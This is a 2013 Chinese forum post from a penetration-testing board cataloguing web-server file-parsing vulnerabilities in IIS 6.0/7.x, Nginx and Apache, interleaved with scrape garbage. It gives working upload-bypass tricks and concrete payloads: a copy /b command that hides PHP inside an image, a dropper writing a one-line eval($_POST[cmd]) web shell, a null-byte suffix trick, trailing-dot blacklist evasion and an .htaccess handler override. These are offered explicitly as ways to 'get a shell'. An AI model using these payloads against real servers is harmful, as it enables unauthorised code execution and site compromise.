中国网络渗透测试联盟
标题:
常见服务器解析漏洞总结
[打印本页]
作者:
admin
时间:
2013-4-19 19:14
标题:
常见服务器解析漏洞总结
Author : laterain
# [. h+ Y* {2 Y$ ]0 L9 z* }
[+]IIS6.0
! X* o% O# q: k7 H3 i
' [$ L/ Y" `0 P' J) W
目录解析:/xx.asp/xx.jpg
( Q3 X% P9 y; u4 ?6 {( p
xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码
5 K- d% s- Z( [& R! l
IIS6.0 会将 xx.jpg 解析为 asp 文件。
3 {8 t1 W3 ~4 u7 g2 @% g$ B; g" ^
后缀解析:/xx.asp;.jpg
. w# L% j% {! o/ z
IIS6.0 都会把此类后缀文件成功解析为 asp 文件。
) |" A% }# a1 U( t$ O# [
默认解析:/xx.asa
6 Q' x; d+ p; R$ |( M
/xx.cer
6 ?2 ?) E8 @8 ?- W- x i5 l
/xx.cdx
5 _. G1 u k+ n
IIS6.0 默认的可执行文件除了 asp 还包含这三种
+ h4 L3 ^. E6 F4 a1 J# y
此处可联系利用目录解析漏洞
# ^" f6 ~) @( w$ A# I
/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
1 ]5 p. s v' U( o% @
[+]IIS 7.0/IIS 7.5/Nginx <0.8.03
7 S8 I5 ` d9 q7 r0 z
. Q g! O: B7 _& l6 Y3 j5 ^
IIS 7.0/IIS 7.5/Nginx <0.8.03
% O+ D4 H6 k: Z% T
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面
) m; y/ M' S, ]0 i! g1 ^
加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。
0 O. d* j" [) w1 R
常用利用方法:
3 \# E' S% e% e( m1 X7 t; c
将一张图和一个写入后门代码的文本文件合并将恶意文本
+ v, t5 E* n! N! y& O2 h& t
写入图片的二进制代码之后,避免破坏图片文件头和尾
, J: W% @1 ?, S% ^
如:
6 c) y# M# ?, Q
copy xx.jpg /b + yy.txt/a xy.jpg
% x- l. l- H* \ v' b+ Z/ _
#########################################################
$ @4 B* n6 l) \$ |
/b 即二进制[binary]模式
. T, l* {: C- t- G! g1 `/ J
/a 即ascii模式
) { E% J( q6 ]' L. e. D
xx.jpg 正常图片文件
( c+ _1 e# l+ B( A3 p' q+ w5 h& K
yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),
' C/ u/ \9 ^, }0 G# t" \+ R
'<?php eval($_POST[cmd])?>');?>
* Z: `4 }7 i: J* y/ A* M! d, [
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
+ N3 [5 u# ~) F! N! Z/ L7 J
为shell.php的文件
% T0 r7 L# W* T, x' x
###########################################################
0 o5 F% k4 ?4 F
找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php
& s4 L+ h- S, T( ^5 S, y
即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php
4 ^+ u" g* S9 o- b3 K Y5 ]
密码 cmd
# {4 n7 q& g9 {/ U8 B
[+]Nginx <0.8.03
# ]* r. g/ s$ O5 X8 H( g1 x& P3 W/ o c
5 x# G ~4 v" F% O; M5 S* c
在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞
7 q0 X# _# F* x6 R& W3 I1 t
在一个文件路径(/xx.jpg)后面加上%00.php
# K; o9 L0 K( @4 H$ w
会将 /xx.jpg%00.php 解析为 php 文件。
( s: w# R6 K2 O0 i5 W' |; {
[+]Apache<0.8.03
4 T( R6 E6 l5 G: Y) k* b
9 H! m) F. z* F" z! q! D
后缀解析:test.php.x1.x2.x3
* r& L; x' f) v6 t. {
Apache将从右至左开始判断后缀,若x3非可识别后缀,
7 g7 G) y" J) ]7 ^3 J( b! {
再判断x2,直到找到可识别后缀为止,然后将该可识别
- d2 ^( b8 J0 }. B
后缀进解析test.php.x1.x2.x3 则会被解析为php
) G6 f# |& U8 H( N& @6 y: R6 i
经验之谈:php|php3|phtml 多可被Apache解析。
4 z; E* O+ Q6 ]$ q! ?5 e/ o$ _( ~
[+]其他一些可利用的
7 @; d( {( U' b
/ H9 L4 D! \! p/ A i v% ?& r
在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
( ~6 n7 Y* g5 R- |' `
若这样命名,windows会默认除去空格或点,这也是可以被利用的!
/ x5 z- c, V1 U8 I9 O* B+ l
在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格
. f9 H. M, a5 K1 g, v ?
或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可
. E4 W7 H0 f8 k& u# f C
得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。
/ B+ [9 [0 h5 `! z. _( n% P! F
{Linux主机中不行,Linux允许这类文件存在}
' Y/ ?- O$ n; L4 V/ o
如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说
- x* [/ O/ w- Q1 n7 o
的,当初我并不知道),且可以被上传,那可以尝试在
3 Y: g1 J6 \' P/ `! t: L" k* p& s$ l
.htaccess中写入:
G* |) M3 E X9 a& X
<FilesMatch “shell.jpg”>
% f1 V& J+ \6 K7 O9 S) f3 k
SetHandler application/x-httpd-php
4 Y9 p7 G! q. i- D( h
</FilesMatch>
1 o* q0 e0 W6 g& S) I7 A
shell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件
9 T7 S3 |7 J2 o& A8 c
[+]错误修改
$ i ]4 y* J/ p* _1 \6 j+ x' c6 ]' T
* n+ e, p" Q! ~; G
在 IIS 6.0 下可解析 /xx.asp:.jpg
- g* D' o4 @! }. p2 y4 i
{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去
# M E' t% T9 u5 O3 D6 b
剩下/xx.asp}修改:
& M5 v3 c5 E) ]) l0 N# \7 d
先谢谢核攻击的提醒
; c) J& o$ ~3 l/ R2 E& ?
当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp
9 t: p5 ~* ]0 ]( N* E, U
里是没有任何内容的,因为。。不好解释 大家自己看
( R' n3 o5 t9 k5 W' p3 V" r7 T
http://lcx.cc/?i=2448
! w0 v% r' ]5 s& S- r# ~0 O
http://baike.baidu.com/view/3619593.htm
8 d7 M3 e3 z) a/ }( k5 }
7 j9 R' E" x/ c# t' m) W% M
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2